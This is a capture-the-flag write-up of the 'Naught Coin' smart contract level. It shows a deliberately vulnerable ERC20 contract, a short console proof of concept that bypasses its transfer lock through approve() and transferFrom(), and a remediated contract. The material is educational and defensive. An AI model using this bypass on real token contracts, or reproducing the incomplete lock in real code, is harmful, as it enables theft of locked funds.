🪙 Naught Coin - The Incomplete Standard Lock

Challenge Overview

In this level, we are given 1,000,000 Naught Coins (an ERC20 token). We are the owner of the supply, but the contract enforces a lock: we are prevented from transferring any tokens for 10 years!

To beat the level, our objective is to transfer all our tokens out of our account, reducing our balance to 0.

Technical Analysis

Vulnerability: Incomplete Interface Override

The contract attempts to lock our tokens by adding a time-lock modifier lockTokens to the standard transfer function:

1
contract NaughtCoin is ERC20 {
2
    // ...
3
    modifier lockTokens() {
4
        if (msg.sender == player) {
5
            require(block.timestamp > timeLock, "Tokens locked!");
6
        }
7
        _;
8
    }
9

10
    // [VULNERABILITY] Only transfer() is overridden and locked
11
    function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
12
        super.transfer(_to, _value);
13
    }
14
}

The Root Cause

The vulnerability lies in the incomplete implementation of the ERC20 standard:

1. Two Ways to Transfer: The ERC20 standard defines two distinct methods to transfer tokens:
   • Direct: transfer(recipient, amount) (called directly by the token holder).
   • Delegated: approve(spender, amount) followed by transferFrom(sender, recipient, amount) (called by a spender who has been granted an allowance).
2. Incomplete Lock: The NaughtCoin contract overrides and applies the lockTokens modifier only to transfer().
3. Open Spender Methods: The standard approve() and transferFrom() functions are inherited directly from OpenZeppelin’s ERC20 contract and are not overridden or locked!

Because of this gap, we can approve another address (or a simple attacker contract) to spend our tokens, and then execute transferFrom() to transfer all tokens, bypassing the lock.

The Exploit: The Multi-Step Solution

1. Grant Allowance: Call approve(spender, 1000000) from our player EOA, approving either an attacker contract or a secondary wallet address to spend our entire balance.
2. Execute Delegated Transfer: Call transferFrom(player, recipient, 1000000) from the authorized spender address.
3. Lock Bypassed: The tokens are successfully transferred out, and our balance falls to 0.

Proof of Concept (PoC)

Below is the JavaScript console walkthrough (which does not require deploying an exploit contract):

1
const playerAddress = player;
2
const spenderAddress = "0x0000000000000000000000000000000000000000"; // Replace with any secondary address
3
const amount = await contract.balanceOf(playerAddress);
4

5
// 1. Approve ourselves or a secondary address to spend our tokens
6
await contract.approve(playerAddress, amount);
7

8
// 2. Call transferFrom using the approved allowance
9
await contract.transferFrom(playerAddress, spenderAddress, amount);
10

11
// Verify our balance is now 0
12
const remainingBalance = await contract.balanceOf(playerAddress);
13
console.log("Remaining player balance:", remainingBalance.toString());

Auditor’s Lessons

1. Audit the Entire Interface: When enforcing access control or state locks on standard specifications (ERC20, ERC721, ERC1155), you must analyze and lock all functions that can modify that state.
2. Inherited Function Risks: Be extremely careful with inherited code. Untouched functions in parent contracts can bypass custom restrictions placed in child contracts.
3. Write Comprehensive Integration Tests: Ensure test suites cover all possible standard interaction pathways (such as delegated approvals) to verify that lock systems cannot be circumvented.

Remediation

To secure the coin, override both transfer and transferFrom with the lockTokens modifier:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
5

6
contract SecureNaughtCoin is ERC20 {
7
    address public player;
8
    uint256 public timeLock;
9

10
    constructor() ERC20("SecureNaughtCoin", "SNC") {
11
        player = msg.sender;
12
        timeLock = block.timestamp + 10 * 365 days;
13
        _mint(player, 1000000 * 10**decimals());
14
    }
15

16
    modifier lockTokens(address _from) {
17
        if (_from == player) {
18
            require(block.timestamp > timeLock, "Tokens locked!");
19
        }
20
        _;
21
    }
22

23
    // Lock direct transfers
24
    function transfer(address _to, uint256 _value) override public lockTokens(msg.sender) returns(bool) {
25
        return super.transfer(_to, _value);
26
    }
27

28
    // Lock delegated transfers
29
    function transferFrom(address _from, address _to, uint256 _value) override public lockTokens(_from) returns(bool) {
30
        return super.transferFrom(_from, _to, _value);
31
    }
32
}